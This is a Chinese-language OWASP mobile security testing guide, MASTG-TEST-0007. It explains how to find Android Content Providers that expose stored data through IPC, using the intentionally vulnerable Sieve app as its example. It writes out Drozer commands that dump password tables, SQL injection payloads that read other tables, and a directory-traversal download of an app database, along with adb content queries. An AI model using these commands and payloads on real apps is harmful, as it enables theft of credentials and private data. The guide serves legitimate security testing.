MASTG-TEST-0007: 确定敏感存储数据是否已通过 IPC 机制暴露
此测试即将更新
此测试目前可使用,但将作为新的 OWASP MASTG v2 指南 的一部分进行全面修订。
请通过提交 PR 来帮助我们:MASTG v1->v2 MASTG-TEST-0007:确定敏感存储数据是否通过IPC机制暴露 (android)
概述¶
静态分析¶
第一步是查看 AndroidManifest.xml
以检测应用程序暴露的 Content Provider。您可以通过 <provider>
元素来识别 Content Provider。完成以下步骤
- 确定 export 标记 (
android:exported
) 的值是否为"true"
。即使不是,如果为该标记定义了<intent-filter>
,该标记也会自动设置为"true"
。如果内容仅供应用程序本身访问,请将android:exported
设置为"false"
。否则,将标志设置为"true"
并定义正确的读/写权限。 - 确定数据是否受到权限标记 (
android:permission
) 的保护。权限标记限制了对其他应用程序的暴露。 - 确定
android:protectionLevel
属性的值是否为signature
。此设置表示数据仅供来自同一企业的应用程序(即,使用相同的密钥签名)访问。要使数据可供其他应用程序访问,请使用<permission>
元素应用安全策略并设置正确的android:protectionLevel
。如果您使用android:permission
,其他应用程序必须在其清单中声明相应的<uses-permission>
元素才能与您的 Content Provider 交互。您可以使用android:grantUriPermissions
属性授予其他应用程序更具体的访问权限;您可以使用<grant-uri-permission>
元素限制访问权限。
检查源代码以了解 Content Provider 的预期使用方式。搜索以下关键字
android.content.ContentProvider
android.database.Cursor
android.database.sqlite
.query
.update
.delete
为避免应用程序中的 SQL 注入攻击,请使用参数化查询方法,例如
query
、update
和delete
。确保正确地清理所有方法参数;例如,如果selection
参数由连接的用户输入组成,则可能导致 SQL 注入。
如果您暴露了一个 Content Provider,请确定是否正在使用参数化的 query 方法(query
、update
和 delete
)来防止 SQL 注入。如果是,请确保所有参数都经过适当的清理。
我们将使用易受攻击的密码管理器应用程序 Sieve 作为易受攻击的 Content Provider 的示例。
检查 Android Manifest¶
识别所有定义的 <provider>
元素
<provider
android:authorities="com.mwr.example.sieve.DBContentProvider"
android:exported="true"
android:multiprocess="true"
android:name=".DBContentProvider">
<path-permission
android:path="/Keys"
android:readPermission="com.mwr.example.sieve.READ_KEYS"
android:writePermission="com.mwr.example.sieve.WRITE_KEYS"
/>
</provider>
<provider
android:authorities="com.mwr.example.sieve.FileBackupProvider"
android:exported="true"
android:multiprocess="true"
android:name=".FileBackupProvider"
/>
如上面的 AndroidManifest.xml
所示,该应用程序导出了两个 Content Provider。请注意,一个路径 ("/Keys") 受读写权限的保护。
检查源代码¶
检查 DBContentProvider.java
文件中的 query
函数,以确定是否泄露了任何敏感信息
Java 示例
public Cursor query(final Uri uri, final String[] array, final String s, final String[] array2, final String s2) {
final int match = this.sUriMatcher.match(uri);
final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();
if (match >= 100 && match < 200) {
sqLiteQueryBuilder.setTables("Passwords");
}
else if (match >= 200) {
sqLiteQueryBuilder.setTables("Key");
}
return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2);
}
Kotlin 示例
fun query(uri: Uri?, array: Array<String?>?, s: String?, array2: Array<String?>?, s2: String?): Cursor {
val match: Int = this.sUriMatcher.match(uri)
val sqLiteQueryBuilder = SQLiteQueryBuilder()
if (match >= 100 && match < 200) {
sqLiteQueryBuilder.tables = "Passwords"
} else if (match >= 200) {
sqLiteQueryBuilder.tables = "Key"
}
return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, null as String?, null as String?, s2)
}
在这里我们看到实际上有两个路径,"/Keys" 和 "/Passwords",后者在清单中未受到保护,因此容易受到攻击。
访问 URI 时,查询语句返回所有密码和路径 Passwords/
。我们将在“动态分析”部分中对此进行说明,并显示所需的精确 URI。
动态分析¶
测试 Content Provider¶
要动态分析应用程序的 Content Provider,首先枚举攻击面:将应用程序的软件包名称传递给 Drozer 模块 app.provider.info
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
在此示例中,导出了两个 Content Provider。除了 DBContentProvider
中的 /Keys
路径之外,都可以无需权限即可访问。有了这些信息,您可以重建 Content URI 的一部分以访问 DBContentProvider
(URI 以 content://
开头)。
要识别应用程序中的 Content Provider URI,请使用 Drozer 的 scanner.provider.finduris
模块。此模块以多种方式猜测路径并确定可访问的 Content URI
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
获得可访问的 Content Provider 列表后,尝试使用 app.provider.query
模块从每个提供程序中提取数据
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded)
email: [email protected]
您还可以使用 Drozer 从易受攻击的 Content Provider 中插入、更新和删除记录
- 插入记录
dz> run app.provider.insert content://com.vulnerable.im/messages
--string date 1331763850325
--string type 0
--integer _id 7
- 更新记录
dz> run app.provider.update content://settings/secure
--selection "name=?"
--selection-args assisted_gps_enabled
--integer value 0
- 删除记录
dz> run app.provider.delete content://settings/secure
--selection "name=?"
--selection-args my_setting
Content Provider 中的 SQL 注入¶
Android 平台提倡使用 SQLite 数据库来存储用户数据。由于这些数据库基于 SQL,因此它们可能容易受到 SQL 注入的攻击。您可以使用 Drozer 模块 app.provider.query
,通过操纵传递给 Content Provider 的 projection 和 selection 字段来测试 SQL 注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
如果应用程序容易受到 SQL 注入的攻击,它将返回详细的错误消息。 Android 上的 SQL 注入可用于修改或查询来自易受攻击的 Content Provider 的数据。在以下示例中,Drozer 模块 app.provider.query
用于列出所有数据库表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
| table | Key | Key | 5 | CREATE TABLE ... |
SQL 注入也可用于从其他受保护的表中检索数据
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| thisismypassword | 9876 |
您可以使用 scanner.provider.injection
模块自动执行这些步骤,该模块会自动在应用程序中查找易受攻击的 Content Provider
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
基于文件系统的 Content Provider¶
Content Provider 可以提供对底层文件系统的访问权限。这允许应用程序共享文件(Android 沙箱通常会阻止这种情况)。您可以使用 Drozer 模块 app.provider.read
和 app.provider.download
分别从导出的基于文件的 Content Provider 中读取和下载文件。这些 Content Provider 容易受到目录遍历的影响,这允许读取目标应用程序沙箱中其他受保护的文件。
dz> run app.provider.download content://com.vulnerable.app.FileProvider/../../../../../../../../data/data/com.vulnerable.app/database.db /home/user/database.db
Written 24488 bytes
使用 scanner.provider.traversal
模块来自动执行查找容易受到目录遍历影响的 Content Provider 的过程
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
请注意,adb
也可用于查询 Content Provider
$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials
Row: 0 id=1, username=admin, password=StrongPwd
Row: 1 id=2, username=test, password=test
...